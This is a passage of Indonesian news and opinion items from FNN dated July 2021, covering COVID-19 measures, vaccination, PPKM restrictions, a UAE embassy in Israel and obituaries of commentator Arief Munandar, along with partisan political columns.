dibutuhkan sarana dan prasarana serta tenaga medis yang memadai. Saat ini RS dr Suyoto telah menambah dua tenda di depan IGD Suyoto yang menampung 28 tempat tidur dan 40 tempat tidur lainnya di asrama dengan masing-masing dilengkapi fasilitas oksigen sentral. (mth)

Presiden Jokowi Akan Dikorbankan?

Oleh Salamuddin Daeng Jakarta, FNN - Lihat di Brazil masyarakat sudah menuntut presidennya mundur. Di India 12 menteri mundur karena gagal mengatasi Covid19. Padahal Covidnya sendiri siapa penyebabnya belum jelas. Sampai sekarang otoritas global belum mampu menjelaskan kepada dunia dari mana asal virus. Apakah virus ini berasal dari laboratorium atau dari hewan. Apakah virus ini menular dari hewan secara alami, atau sejak kebocoran laboratorium maka virus menular secara alami, semua belumlah clear. Padahal asal usul virus dan mekanisme penularannya adalah informasi dasar yang diperlukan baik secara medis maupun secara politik, hukum dan sosial. Bagaimana mungkin menjelaskan turunannya kalau asal usulnya saja belum jelas. Namun akibat penerapan rezim kesehatan publik secara seragam di seluruh dunia telah menimbulkan kekacauan dia mana mana. Demonstrasi di seluruh dunia telah berlangsung secara masiv. Masyarakat berhadap hadapan langsung dengan pemerintah secara bertentang tentangan, berbagai isue memicu penolakan dan protes, mulai dari penolakan vaksinasi massal, penolakan vaksinasi pada anak anak di Itali hari ini, penolakan terhadap penerapan protokol kesehatan, penolakan terhadap denda atas pelanggaran protokol kesehatan dan lain sebagainya. Keadaan paling mengerikan akan dialami negara negara yang gak punya uang. Satu sisi akan menerapkan rezim kesehatan publik secara total dan keras, sisi lain negara itu tidak memiliki uang untuk membiayai rakyatnya, memberi makan dan mengganti kerugian bagi orang orang yang dirugikan akibat protokol Covid. Inilah yang harus dipertimbangkan secara matang oleh presiden Jokowi. Presiden harus mendapatkan informasi yang benar terkait dengan keadaan sosial politik yang berlangsung. Harus mencermati keadaan secara baik, jangan sampai menjadi ajang permainan pihak pihak yang ingin mengambil keuntungan dari penerapan rezim kesehatan publik. Penting diketahui bahwa posisi rezim internasional dalam hal pembiayaan covid sudah berubah. Kalau jaman dulu ketika wabah melanda sebuah negara, maka berbondong bondong lah donor internasional datang. Namun sekarang sebaliknya yang datang adalah debt collector, mirip pemerasan melalui pasar keuangan. Jadi kalau gak punya uang bagaimana membiayai kesehatan publik. Kalau gak punya uang bagaimana pemerintah mengendalikan keadaan. Jangan sampai pemerintah dikorbankan oleh elit global yang mau cuci tangan atas keadaan chaos yang dihadapi semua negara. Semoga Indonesia ketahanan dan keamanan nasionalnya makin kuat. Amin

Mobil Mana Mobil?

By M Rizal Fadillah Bandung, FNN - Ketika tidak terealisasi program nasional, maka yang disorot adalah mobil yang bernama Esemka. Esemka yang dijanjikan Esemka yang dipergunjingkan. Esemka menjadi tersangka. Dibalik tersangka ini yang benar-benar bersalah yang diyakini masyarakat adalah sang walikota Solo, Jokowi. Mobil mana mobil ? Dalam kasus PPKM-50 (Peristiwa Pembantaian KM-50) persoalan mobil ini mengemuka. Ada tiga mobil yang semestinya muncul menjadi tersangka, tetapi orang atau pejabat yang sebenarnya bersalah tetap sembunyi. Penunggang mobil-mobil itu adalah "pembunuh" lain dari enam anggota pengawal HRS. Ketiga mobil yang dimaksud adalah Avanza hitam B 2739 PWQ, Avanza silver B 1278 KJD, dan mobil "komandan" Land Cruiser hitam. Kisah drama tembak menembak (tepatnya penembakan mobil Chevrolet Spin) terjadi di jalan internasional menuju gerbang tol Karawang Barat. Itu dilakukan oleh penumpang mobil Avanza B 2739 PWQ dan Avanza B 1278 KJD yang sangat mudah untuk diidentifikasi. Merekalah yang patut diduga kuat membunuh dua orang anggota laskar yaitu di area menuju Km 50 atau dibunuh di rest area Km 50 itu sendiri. Kedua mobil Avanza tersebut tidak diakui sebagai mobil Kepolisian karenanya inilah bukti nyata akan keterlibatan institusi lain itu. Komnas HAM merekomendasikan pengusutan dan penegakan hukum atas para penumpang kedua mobil Avanza tersebut. Proses peradilan semestinya tidak bisa mengabaikan fakta penting ini. Menutupi sama saja dengan bermain sandiwara boneka. Mobil ketiga adalah Land Cruiser hitam. Banyak saksi menyatakan merekalah komandan operasi yang menewaskan keenam anggota laskar pengawal HRS. Setelah menerima arahan dari komandan inilah maka masing masing unit bergerak dan pembantaian pun terjadi. Meninggal dengan luka penganiayaan yang selayaknya dilakukan di satu tempat tertentu, bukan di mobil yang sedang bergerak. Mobil mana mobil ? Layak untuk dipertanyakan. Semestinya pengusutan dimulai dan diutamakan pada aparat penumpang tiga mobil yang maha penting ini, bukan hanya aparat yang mengendarai mobil B 1519 UTI yang kini ditetapkan sebagai tersangka. Apalagi satu diantaranya kini telah dinyatakan tewas dalam sebuah kecelakaan. Misterius. Sesungguhnya sayang Komnas HAM tidak mampu menguak hal mudah ini, atau sebenarnya Komnas HAM mengetahui tetapi takut mengemukakan, dengan alasan kasus ini bukan soal penegakan hukum melainkan operasi intelijen, kepentingan politik kekuasaan. Adapun mobil-mobil itu adalah bukti operasi. Jika tetap menutup para penumpang tiga mobil penting tersebut, maka ketiga mobil tersebut akan menjadi mobil hantu. Sama dengan mobil Esemka yang menghilang bagai hantu. Jadinya lucu seperti film kartun Upin Ipin dalam episode "Upin Ipin bertemu mobil hantu, Ipin takut !". Ipin takut. Dasar negeri Upin Ipin. *) Pemerhati Politik dan Kebangsaan.

Arief Munandar, Intelektual Profetik Telah Berpulang

Oleh Ubedilah Badrun Bang Arief, sapaan akrab Arief Munandar telah berpulang, meninggalkan kehidupan fana ini menuju alam keabadian.Alam dimana setiap individu akan menjumpai, ujung perjalanan sesungguhnya. Terhenyak hati ini, berduka mendalam.Berjam-jam saya terdiam dalam perjalanan, ini berita duka kesekian kalinya dalam sepekan menerpa orang-orang terdekat dalam perjalanan intelektual dan spiritual saya. Ya, saya kehilangan kawan berdiskusi yang menyenangkan dan selalu mengajukan pertanyaan yang membuat nalar bekerja optimal. Tiga pekan lalu handphone berdering, "Kang, ngobrol lagi yuuk untuk Bang Arief Chanel?" Suara renyah bang Arief terdengar dari ujung telfon. "Tentang apa Bang Arief?" tanyaku. " Tentang pernyataan Kang Ubed "jawabnya. " yang mana ya?" tanyaku lagi. "Itu kang, tentang yang Akang bilang Kaum Intelektual Dicuekin Jokowi, Indonesia Dalam Bahaya" Jawab Bang Arief. " Oh, oke Siip Bang Arief". Saya akhirnya menyetujui tapi dengan syarat online. Bang Arief setuju meski ia berharap saya datang di studio podcast nya di Depok seperti biasanya. Ketajaman Bang Arief mengambil tema untuk podcast ini luar biasa, hanya dalam hitungan jam puluhan ribu orang telah menonton diskusi renyah namun tajam itu. Bahkan kini sudah ditonton lebih dari 66 ribu kali. Ya, ketajaman pada cara mengambil isu dan kedalaman pertanyaan untuk menggali nalar otentik lawan bicaranya berhasil Bang Arief lakukan. Keterampilan itu hanya mungkin dimiliki oleh seseorang yang oleh Bung Hatta disebut sebagai kaum intelegensia, kaum intelektual. Tidak Sekedar Intelektual Organik Ya, Bang Arief bukan sekedar youtuber, bukan sekedar jurnalis. Ia seorang intelektual. Respon yang tinggi pada persoalan masyarakat luas (tanggungjawab sosial) kata Bung Hatta adalah ciri kaum intelegensia (1957). Saya mengetahui nama Bang Arief sudah lama, tetapi mulai mengenalnya lebih dekat sekitar 8 tahun lalu saat sering bertemu di sebuah forum cendekiawan mendiskusikan berbagai soal tentang kebangsaan. Dari pertemuan berkali kali tak terhitung itu Bang Arief makin terlihat sebagai sosok yang sangat kritis namun selalu disertai argumen kokoh, data-data yang valid dan berani bersuara lantang. Ia bukan seorang terpelajar yang oleh Noam Chomsky dalam bukunya Who Rules The World (2016) disebut sebagai teknokratif yang sangat administratif dan diam seribu bahasa terhadap ketidakadilan dan penindasan. Suatu malam sekitar satu tahun lalu lebih Bang Arief telfon saya "Kang Ubed, moga sehat selalu kang. Mau konsul nih Kang?" tanyanya renyah. "Alhamdulillah sehat Bang Arief, ada apa nih kok konsul?" "Begini kang, ada orang tua mahasiswa binaan saya namanya pak Kisman ngajak bergabung di FNN (Forum News Network), bagaimana nih Kang?" tanyanya. Saya jawab dengan tertawa kecil dan sambil senyum "Hehe saya di FNN juga Bang Arief sudah sekitar 4 bulan sering meeting bersama, ini media perjuangan" jawab saya. "Hah? Serius kang? Kalau begitu saya terima tawaran ini karena media perjuangan, bersama kang Ubed, bismillah" demikian tutup Bang Arief. Begitulah intelektual organik, ia tidak tinggal diam, begitu cepat responnya pada perjuangan. Apalagi melihat ketidakadilan. Dengan kesadaran dan pengetahuannya mengambil langkah untuk membangkitkan kesadaran kritis. Dengan kesadaran dan sumber-sumber kekuatan yang dimiliki, baik itu pengetahuan maupun basis massa, mengambil langkah untuk membangkitkan kesadaran masyarakat (Antonio Gramsci,1891-1937). Bahkan dalam terminologi agama, lebih dari intelektual organik karena ada misi profetik dalam diri Bang Arief, ia layak diposisikan sebagai Ulul Albab, intelektual profetik. Ia tidak sekedar membangun kesadaran tetapi juga menyiapkan generasi yang peduli pada persoalan bangsa dan ummat, bahkan peradaban. Hal itu terlihat melalui Shafa Community yang ia inisiasi, komunitas sosial-keagamaan yang fokus mengembangkan SDM pemuda yang tangguh, cerdas dan profesional melalui berbagai aktivitas pemberdayaan. Salah satunya, Program Beasiswa Rumah Peradaban, beasiswa kepemimpinan yang didedikasikan untuk melejitkan potensi mahasiswa-mahasiswa terbaik dari Universitas Indonesia. Bang Arief adalah Doktor Sosiologi, dengan spesialisasi sosiologi politik dan sosiologi organisasi dari Fakultas Ilmu Sosial dan Ilmu Politik Universitas Indonesia (UI) yang diakhir perjalananya memilih jalan bersuara lantang tentang kebenaran melalui Chanel youtube Bang Arief dalam rumah media Forum News Network (FNN). Intelektual yang tidak hanya bertengger dipunggung gelarnya, tetapi ia sangat organik dan profetik. Ubedilah Badrun sahabat Bang Arief, Analis Sosial Politii UNJ.

Dr. Arief Moenandar, Pejuang Lawan Kezaliman Yang Ikut Gugur

by Asyari Usman Medan FNN - Wawancaranya dengan mantan panglima TNI, Jenderal (Purn.) Gatot Nurmantyo (GN) dengan Wakil Pemimpin Umum FNN Dr. Arief Moenandar, membuat sejumlah media mainstream merasa kecolongan. Mereka pun memburu Pak GN yang posisinya ketika itu sedang berada di Papua, untuk diwawancara. Kenapa? Karena ada pernyataan GN yang keluar dalam wawancara dengan Dr. Arief Moenandar (kami di FNN memanggil beliau Bang Arief, sering disingkat “BA” saja) belum pernah disampaikan ke media lain. Materinya sangat eksklusif. Tentang manuver politik yang sedang viral waktu itu. Pernyataan yang menggelegarkan itu belum disampaikan ke publik, bukan karena GN sulit dihubungi oleh media lain. Tetapi, karena insting BA sebagai wartawan yang paham tentang apa yang harus ditanyakan kepada GN. Setelah wawancara tersebut, jagad politik seluruh Indonesia menjadi gempar. Penyebabnya, Gatot yang yunior di TNI itu berani mengoreksi Meoldoko yang digantikan sebagai sebagai Panglima TNI. “Gatot Nurmantyo pernah ditawari untuk mengambil alih Partai Demokrat lewat Kongres Luar Biasa (KLB)”. Beginilah lebih-kurang berita-berita utama yang muncul di hampir semua stasiun TV, media online, dan media cetak ketika itu. Wawancara itu dilakukan oleh BA pada 5 Maret 2021. Selesai diskusi Redaksi FNN dengan Pak Gatot, yang dilanjutkan dengan Sholat Jum’at dan makan siang bersama. Waktunya ketika itu bersaman dengan KLB Demokrat di Sibolangit, Deli Serdang, Sumatera Utara. KLB kemudian menetapkan Moeldoko sebagai Ketua Umum Partai Demokrat. Wawancara ini ditayangkan di kanal Youtube Bang Arief pada 6 Maret 2021. Ujungnyta, Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) menolak memberikan pengesahan kepada Moeldoko sebagai Ketua Umum DPP Partai Demokrat. Malam tadi (13 Juli 2021), jam 19.46 WIB, Bang Arief dipanggil menghadap Allah Subhaanahu Wata’ala. Beliau adalah salah seorang dari jutaan yang dinyatakan tertular virus Covid-19. Terakhir, BA dirawat di RSD Pasar Minggu, Jakarta Selatan. In-sya Allah beliau husnul khatimah dan syahid dalam wabah penyakit. BA sudah lama aktif mengeritik penguasa lewat kanal YouTube-nya, “Bang Arief”. Beliau adalah seorang ilmuwan sosiologi lulusan Universitas Indonesia. Tetapi, BA bisa banting setir menjadi jurnalis FNN, meskipun beliau mengaku tidak punya latarbelakang sebagai jurnalistik. Boleh dikatakan BA adalah jurnalis otodidak. Belakangan ini, Bang Arief menunjukkan kerisauannya melihat kezaliman dan kebobrokan tata kelola negara oleh para penguasa. Beliau seperti kehabisan kesabaran melihat tata kelola negara yang amatiran dan picisan sekarang. BA ingin segera melihat terjadi perubahan besar. Selain aktif sebagai pengeritik kebijakan publik, BA sejak lama melakukan prakarsa pembinaan anak-anak muda yang hendak beliau siapkan sebagai para calon pemimpin-pemimpin bangsa. Inilah yang sekaligus dijadikan Bang Arief ladang dakwah. Bang Afief juga menyenangi profesi konsultasi tentang sumber daya manusia (SDM). Ini bukti bahwa BA mendambakan Indonesia yang memiliki kualitas SDM terbaik untuk memimpin bangsa dan negara ke depan. Beliau belah dua rumahnya. Satu bagian untuk 12 orang mahasiswa yang beliau didik langsung. Mereka diberi beasiswa. Selesai menjalani pengkaderan, para mahasiswa dipersilahkan mengunjungi beberapa negara di dunia dengan biaya sendiri. Perhatian BA terhadap lingkungan sosial sangat besar. Setiap ‘Idul Qurban seperti sekarang ini, Bang Arief selalu menyembelih dua atau tiga ekor sapi limosin yang harganya ratusan juta rupiah. Semoga Allah Subhaanahu Wata’ala melimpahkan kebaikan yang berlipat-lipat untuk Bang Arief dan menyediakan surga untuknya. Kami mohon doa dari teman-teman semua untuk almarhum dan keluarga yang beliau tinggalkan. Inna lillahi wa inna ilaihi raji’un. Selamat jalan bro. Penulis adalah Wartawan Senior FNN.co.id.

Jateng Mulai Vaksinasi COVID-19 untuk Anak-Anak

Semarang, FNN - Beberapa daerah di Provinsi Jawa Tengah mulai melaksanakan vaksinasi COVID-19 secara bertahap untuk anak-anak berusia 12-17 tahun guna mencapai kekebalan komunitas saat pandemi. "Ini sebenarnya serentak seluruh Indonesia, nanti Pak Presiden akan me-'launching' ini dan kita mulai dulu beberapa daerah, salah satunya di Kota Semarang, nanti setelah ini (daerah lain, red.) jalan," kata Gubernur Jawa Tengah Ganjar Pranowo saat melihat langsung Vaksinasi COVID-19 Untuk Anak-anak di SMP Negeri 3 Semarang di Semarang, Rabu. Ia mengaku mendapat laporan bahwa antusiasme para pelajar untuk mendapatkan vaksin begitu tinggi sebab sudah banyak yang mengantre selain empat sekolah menengah tingkat pertama yang hari ini dijadwalkan menerima vaksin. "Ini bagus Pak Wali Kota memulai di SMP 3, dan saya lihat antusiasmenya cukup banyak dan yang hadir dari 4 SMP," kata Ganjar didampingi Wali Kota Semarang Hendrar Prihadi. Menurut Ganjar, antusiasme ini menjadi cerita menarik karena baik siswa maupun orang tua bersemangat untuk mendapatkan vaksin. Harapannya, vaksin untuk anak 12-17 tahun yang dimulai secara massal untuk pelajar menjadi persiapan pembelajaran tatap muka (PTM) ketika kasus COVID-19 melandai. "Antusiasme ini yang menurut saya bagian yang bagus, mudah-mudahan anak-anak kita juga bisa kita amankan sehingga kelak kemudian kalau sudah agak melandai mereka bisa masuk sekolah kembali, sudah dibentengilah," ujarnya. Dalam kesempatan itu, Wali Kota Semarang Hendrar Prihadi melaporkan bahwa pelaksanaan vaksinasi anak 12-17 tahun di wilayah itu sudah dimulai. Selain untuk pelajar SMP, paralel pada hari ini juga berlangsung untuk pelajar di SMA Negeri 1 Semarang. (mth)

Uni Emirat Arab Buka Kedutaan Besar di Israel

Tel Aviv, FNN - Uni Emirat Arab (UAE) membuka dan meresmikan kedutaan besarnya di Israel pada Rabu (14/7) yang dihadiri Presiden Israel Isaac Herzog. Pembukaan kedutaan yang terletak di gedung Bursa Efek Tel Aviv itu dilakukan setelah peresmian kedutaan besar Israel di UAE bulan lalu. Duta Besar UAE untuk Israel, Mohamed Al Khaja, mengibarkan bendera negaranya di luar gedung Bursa Efek Tel Aviv dengan didampingi Presiden Israel Isaac Herzog yang berdiri di sampingnya. Setelah disatukan oleh kekhawatiran bersama terhadap Iran dan harapan kerja sama komersial yang menguntungkan, Uni Emirat Arab dan Bahrain menormalisasi hubungan mereka dengan Israel tahun lalu berdasarkan "Perjanjian Abraham" (Abraham Accords) yang dibuat oleh pemerintahan Amerika Serikat terdahulu saat dipimpin Presiden Donald Trump. Sejak itu, Sudan dan Maroko juga telah mengambil langkah untuk menjalin hubungan dengan Israel. Perjanjian Abraham merupakan pernyataan bersama antara Israel, UAE, dan Amerika Serikat pada 13 Agustus 2020 tentang normalisasi hubungan Israel dengan Uni Emirat Arab dan Bahrain. (sws) Sumber: Reuters

Andi Rio: Perluasan PPKM Perlu Rangkul Tokoh Agama-Adat

Jakarta, FNN - Anggota Komisi III DPR RI Andi Rio Idris Padjalangi menilai rencana Pemerintah ingin memperluas Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di luar Jawa dan Bali harus dapat merangkul seluruh tokoh agama, tokoh adat, dan tokoh masyarakat dalam mensosialisasikan kebijakan tersebut. "Kepala daerah dan aparat yang bertugas di lapangan harus dapat merangkul seluruh tokoh agama, adat, dan masyarakat dalam mensosialisasikan kegiatan PPKM Darurat," kata Andi Rio dalam keterangannya, di Jakarta, Rabu. Dia menilai dengan pendekatan kultur dan budaya, masyarakat dapat lebih tersentuh hatinya dan dapat lebih mendengar serta mengerti anjuran para tokoh tersebut. Menurut dia, perluasan kebijakan PPKM Darurat diambil Pemerintah untuk menekan tingginya peningkatan angka COVID-19 di luar Pulau Jawa. "Karena itu, seluruh stakeholder harus dapat saling mendukung kebijakan tersebut, agar pemberlakuan dapat berjalan sesuai harapan," ujarnya. Dia menjelaskan, upaya merangkul para tokoh agama, adat, dan masyarakat untuk menghindari kericuhan yang pernah terjadi dalam penerapan PPKM Darurat di Pulau Jawa beberapa hari lalu. Langkah itu, menurut dia, agar penerapan PPKM di luar Pulau Jawa dapat lebih humanis dan lebih mengedepankan edukasi kepada masyarakat. "Jangan sampai ada kontak fisik atau adu argumen yang terjadi dalam penerapan PPKM di luar Pulau Jawa, peristiwa yang terjadi di Pulau Jawa sebelumnya harus menjadi pelajaran dan evaluasi dalam penerapan PPKM di luar Pulau Jawa," katanya pula. Wakil Ketua Mahkamah Kehormatan Dewan (MKD) itu mengharapkan peran partisipasi masyarakat dalam mendukung program perluasan, partisipasi, dan disiplin masyarakat dalam menerapkan protokol kesehatan. Hal itu, menurut dia, tentunya dapat lebih cepat mendukung harapan dan tujuan pemerintah dalam mencegah penyebaran COVID-19 yang semakin hari meningkat di berbagai daerah. (sws)

DBS Donasikan 1.000 Konsentrator Oksigen Tangani COVID-19 di Indonesia

Jakarta, FNN- Perbankan yang berkantor pusat di Singapura, DBS Bank, mendonasikan 1.000 konsentrator oksigen untuk penanganan pandemi COVID-19 di Indonesia. “Kami turut prihatin melihat negara ini sedang dalam pertempuran melawan COVID-19 diakibatkan kasus yang terus melonjak,” kata Chief Executive Officer (CEO) DBS Bank Piyush Gupta melalui keterangan tertulis yang diterima di Jakarta, Rabu. Piyush mengatakan donasi konsentrator oksigen ini juga sebagai bentuk solidaritas kepada nasabah dan masyarakat luas di Indonesia. Bantuan ini diharapkan dapat membantu Indonesia segera mengakhiri masa sulit pandemi COVID-19. Presiden Direktur PT Bank DBS Indonesia Paulus Sutisna menuturkan konsentrator oksigen saat ini di Indonesia menjadi kebutuhan penting untuk menangani pasien COVID-19. “Salah satu kebutuhan besar saat ini adalah membantu mengatasi situasi kekurangan oksigen di lapangan. Oleh karena itu, kami berterima kasih kepada seluruh pihak berwenang Singapura dan Indonesia yang telah membantu memfasilitasi donasi ini, sehingga kami dapat berjuang bersama dan berkontribusi di pertempuran ini,” ujarnya. Selama setahun terakhir, kata dia, DBS sudah memberikan beberapa donasi seperti bantuan makanan dan paket perawatan senilai 2,5 juta dolar Singapura kepada masyarakat yang terkena dampak pandemi. Donasi ini terdiri dari lebih dari 380.000 porsi makanan untuk 8.000 rumah tangga,yang terdiri dari pekerja berupah harian, supir angkutan umum, pedagang kaki lima, guru paruh waktu dan lain-lain, melalui Foodbank of Indonesia (FOI). Bank DBS Indonesia juga mendistribusikan 300.000 porsi makanan kepada pekerja berupah harian melalui Konfederasi Serikat Buruh Sejahtera Indonesia (KSBSI). Pada Mei 2020, Bank DBS Indonesia juga mendonasikan alat tes COVID-19 yang diserahkan kepada tenaga medis berupa 100.000 Rapid Test Kit, 15.000 Viral Transport Medium Kit, dan 5.000 alat tes usao. “Dua mesin Polymerase Chain Reaction dan 3.000 test kit juga disumbangkan ke Departemen Mikrobiologi Fakultas Kedokteran Universitas Indonesia pada Agustus 2020,” kata DBS Bank. (sws)

Wapres Minta Banten Lebih Intensif Menangani COVID-19

Jakarta, FNN - Wakil Presiden RI Ma’ruf Amin meminta Pemerintah Provinsi Banten untuk lebih intensif dalam menangani penularan COVID-19 karena angka kasus di daerah tersebut keempat tertinggi di Indonesia. "Di Banten masih cukup tinggi penularannya sehingga memerlukan suatu penanganan yang lebih," kata Wapres Ma’ruf dalam rapat koordinasi secara virtual dengan Gubernur Banten Wahidin Halim dari Jakarta, Rabu. Berdasarkan data Kementerian Kesehatan (Kemenkes) RI, jumlah kasus terkonfirmasi COVID-19 di Banten tercatat 4.016 kasus per Selasa (13/7). Wapres mengatakan bahwa tingginya angka kasus penularan tersebut karena rendahnya kepatuhan masyarakat Banten dalam menerapkan protokol kesehatan. Selain itu, Wapres juga menegaskan bahwa Pemprov Banten harus memperbanyak pengetesan (testing), pelacakan (tracing), dan perawatan (treatment) atau 3T kepada warga setempat. "Testing ini kalau sedikit, itu berarti yang bisa diketahui juga sedikit. Oleh karena itu, ini juga menjadi perhatian. Berdasarkan data Kemenkes, saya melihat bahwa di Banten juga (3T) masih agak rendah," kata Wapres. Terkait dengan vaksinasi COVID-19, Wapres meminta Pemprov Banten mempercepat pemberian vaksin kepada masyarakat sehingga kekebalan komunal atau herd immunity dapat segera terwujud. Wapres menyebutkan di Banten harus terlaksana vaksinasi kepada sedikitnya 8.000.000 jiwa penduduk setempat dengan target 20.000 orang per hari. "Vaksinasi itu seharusnya di Banten, dengan penduduk sekitar 11,9 juta jiwa, untuk mencapai herd immunity, ​​​​​​​vaksinasinya harus mencapai delapan juta orang dengan target 20.000 orang per hari," kata Wapres. Berdasarkan laporan yang diterima, Wapres menyebutkan vaksinasi di Banten hingga Senin (12/7) tercatat baru sebanyak 1,15 juta orang yang masuk dalam kategori tenaga kesehatan dan orang lanjut usia (lansia). "Dengan mempertimbangkan masih rendahnya cakupan vaksinasi lansia juga masih jauh dari target sasaran, ini juga perlu mendapat perhatian," katanya menegaskan. Turut hadir secara virtual dalam pengarahan Wapres tersebut, antara lain Menteri Dalam Negeri Tito Karnavian, Wakil Menteri Kesehatan Dante Saksono Harbuwono, dan Kepala Badan Nasional Penanggulangan Bencana (BNPB) Ganip Warsito. (sws)

Pemkot Medan Siapkan Opsi Bansos Tunai untuk Warga Terdampak PPKM

Medan, FNN - Pemerintah Kota Medan, Sumatera Utara menyiapkan opsi bantuan sosial berupa uang tunai yang akan diberikan kepada warga dan pekerja yang terdampak Pemberlakuan Pembatasan kegiatan Masyarakat (PPKM) Darurat. "Apakah lebih efektif dengan uang tunai, karena bisa dikirim langsung ke rekening masyarakat. Ini salah satu opsi," kata Wali Kota Medan Bobby Nasution di Lapangan Merdeka Medan, Rabu. Namun, pihaknya masih akan mengkaji apakah bantuan tersebut nantinya diberikan dalam bentuk tunai atau sembako. "Kalau kita kirim uang 'cash', mereka belanjanya, ini harus kita pikirkan. Hari ini kita kirim, besok bondong-bondong belanja kerumunan lagi. Ini masih kita kaji," katanya. Mengenai jumlah penerima bantuan sosial PPKM Darurat, ia mengaku hingga saat ini belum mendapat laporan. "Untuk jumlahnya saya belum monitor, kemarin sudah selesai didata. Nanti akan saya sampaikan," katanya. PPKM Darurat diberlakukan di Kota Medan mulai 12 hingga 20 Juli 2021 sebagai upaya untuk menekan angka penyebaran COVID-19 di daerah tersebut. (sws)

Wali Kota Solo Umumkan Positif Terpapar COVID-19

Solo, FNN - Wali Kota Surakarta, Jawa Tengah Gibran Rakabuming Raka mengumumkan positif terpapar COVID-19 usai menjalani tes usap di Rumah Sakit Bung Karno (RSBK) beberapa waktu lalu. "Hasil tes PCR saya keluar pada Senin (12/7) pagi, saat ini saya sedang menjalani isolasi mandiri," katanya di Solo, Rabu. Sebelum terpapar, ia mengatakan sering mengunjungi sejumlah lokasi rawan paparan, di antaranya rumah sakit, tempat isolasi, dan lokasi vaksinasi. Sebelum akhirnya melakukan tes usap, ia sudah melakukan tes usap antigen namun hasilnya negatif. "Tetapi saya 'nggak' percaya, kemudian saya minta untuk tes PCR dan hasilnya positif," katanya. Meski demikian, ayah dua anak ini mengaku dalam kondisi sehat dan tidak merasakan gejala apapun sehingga cukup menjalani isolasi mandiri. "Saat tahu positif saya langsung memisahkan diri. Alhamdulilah anak, istri, ajudan, dan sopir semuanya negatif," katanya. Sementara itu, ia memastikan tetap melakukan pekerjaan melalui sistem daring. Ia juga sudah melakukan koordinasi dengan Wakil Wali Kota Surakarta Teguh Prakosa dan Sekretaris Daerah Ahyani lebih aktif turun ke lokasi rawan untuk memastikan penanganan COVID-19 berjalan dengan baik. "Saya juga minta ajudan untuk tetap 'muter' keliling Solo untuk membagikan sembako kepada warga yang membutuhkan," demikian Gibran Rakabuming Raka. (sws)

Dr Arief Moenandar, Pejuang Lawan Kezaliman Yang Ikut Gugur

By Asyari Usman Medan, FNN - Wawancaranya dengan mantan panglima TNI, Jenderal Gatot Nurmantyo (GN), membuat sejumlah media mainstream merasa kecolongan. Mereka pun memburu Pak GN. Untuk diwawancara. Kenapa? Karena ada pernyataan GN yang keluar dalam wawancara dengan Dr Arief Moenandar (kami di FNN memanggil beliau Bang Arief, sering disingkat “BA” saja) belum pernah disampaikan ke media. Sangat eksklusif. Tentang manuver politik yang sedang viral waktu itu. Pernyataan yang menggelegarkan itu belum disampaikan bukan karena GN sulit dihubungi oleh media. Tetapi, karena BA paham apa yang harus ditanyakan kepada GN. Setelah wawancara itu, jagad politik seluruh Indonesia gempar. “Gatot Nurmantyo pernah ditawari mengambil alih Partai Demokrat lewat KLB,” beginilah lebih-kurang berita utama di hampir semua stasiun TV, media online, dan media cetak. Wawancara itu dilakukan oleh BA pada 5 Maret 2021. Bersaman dengan KLB Demokrat di Sibolangit, Sumatera Utara. KLB menetapkan Moeldoko sebagai ketua umum. Wawancara ini ditayangkan di kanal Youtube Bang Arief pada 6 Maret 2021. Kemenkumham menolak memberikan pengesahan kepada Moeldoko. Malam tadi (13 Juli 2021), pukul 19.46 WIB, Bang Arief dipanggil Allah SWT. Beliau adalah salah seorang dari jutaan yang dinyatakan tertular Covid-19. Terakhir, BA dirawat di RS Pasar Minggu, Jakarta. In-sya Allah beliau husnul khatimah dan syahid dalam wabah penyakit. BA sudah lama aktif mengeritik penguasa lewat kanal YouTube-nya, “Bang Arief”. Beliau adalah seorang ilmuwan sosiologi lulusan Universitas Indonesia. Tetapi, BA bisa menjadi jurnalis meskipun beliau mengaku tidak punya latar belakang jurnalistik. Boleh dikatakan jurnalis otodidak. Belakangan ini, Bang Arief menunjukkan kerisauannya melihat kezaliman dan kebobrokan para penguasa. Beliau seperti kehabisan kesabaran. Ingin segera terjadi perubahan besar. Selain aktif sebagai pengeritik kebijakan publik, BA sejak lama melakukan prakarsa pembinaan anak-anak muda yang hendak beliau siapkan sebagai para calon pemimpin. Inilah sekaligus yang dijadikan Bang Arief ladang dakwah. Bang Afief juga menyenangi profesi konsultasi tentang sumber daya manusia (SDM). Ini bukti bahwa BA mendambakan Indonesia yang memiliki kualitas SDM terbaik. Beliau belah dua rumahnya. Satu bagian untuk 12 orang mahasiswa yang beliau didik langsung. Mereka diberi beasiswa. Perhatian BA terhadap lingkungan sosial sangat besar. Tiap ‘idul qurban seperti sekarang ini, Bang Arief selalu menyembelih dua sapi limosin yang harganya ratusan juta. Semoga Allah SWT melimpahkan kebaikan yang berlipat-lipat untuk Bang Arief dan menyediakan surga untuknya. Kami mohon doa dari teman-teman semua untuk almarhum dan keluarga yang beliau tinggalkan. Inna lillahi wa inna ilaihi raji’un. Selamat Jalan, Bro.[]

Bupati Karawang Konfirmasi Keganjilan Penyuntikan Vaksin COVID-19

Karawang, FNN - Bupati Karawang, Jawa Barat Cellica Nurrachadiana meminta keterangan seluruh petugas kesehatan di Puskesmas Wadas, Telukjambe Timur, Kabupaten Karawang untuk mengonfirmasi keganjilan dalam proses penyuntikan vaksinasi COVID-19. "Saya bersama Kasatreskrim Polres Karawang AKP Oliestha Ageng Wicaksana langsung melakukan inspeksi mendadak ke puskesmas di wilayah Telukjambe Timur itu," katanya di Karawang, Rabu. Hal tersebut dilakukan menyusul adanya video viral salah seorang petugas yang diduga tidak menekan "flunger" suntikan saat memberikan vaksinasi COVID-19 kepada warga. Aksi petugas kesehatan puskesmas itu viral di media sosial dan menjadi pesan berantai WhatsApp. "Kami memanggil seluruh petugas puskesmas untuk mendengar keterangan mereka, sebagai klarifikasi atas kejadian yang viral itu," katanya. Bupati menyampaikan sesuai dengan penjelasan dari vaksinator bahwa ia sudah melakukan tugasnya sesuai standar operasional prosedur (SOP), dan yakin vaksin tersebut masuk ke tubuh penerima vaksin dengan menggunakan jarum suntik baru. Setelah dari Puskesmas Wadas, Telukjambe Timur, Bupati kemudian menemui warga penerima vaksin tersebut, guna mendapatkan keterangan dari kedua pihak. Ia juga meminta agar penerima vaksin itu segera melakukan cek laboratorium. "Tentunya kami akan memberikan sanksi tegas kepada vaksinator jika terbukti melakukan kesalahan. Namun sebaliknya, jika tidak terbukti bersalah, akan ada konsekuensi hukum dan kasusnya akan diserahkan ke pihak kepolisian Karawang untuk ditindaklanjuti 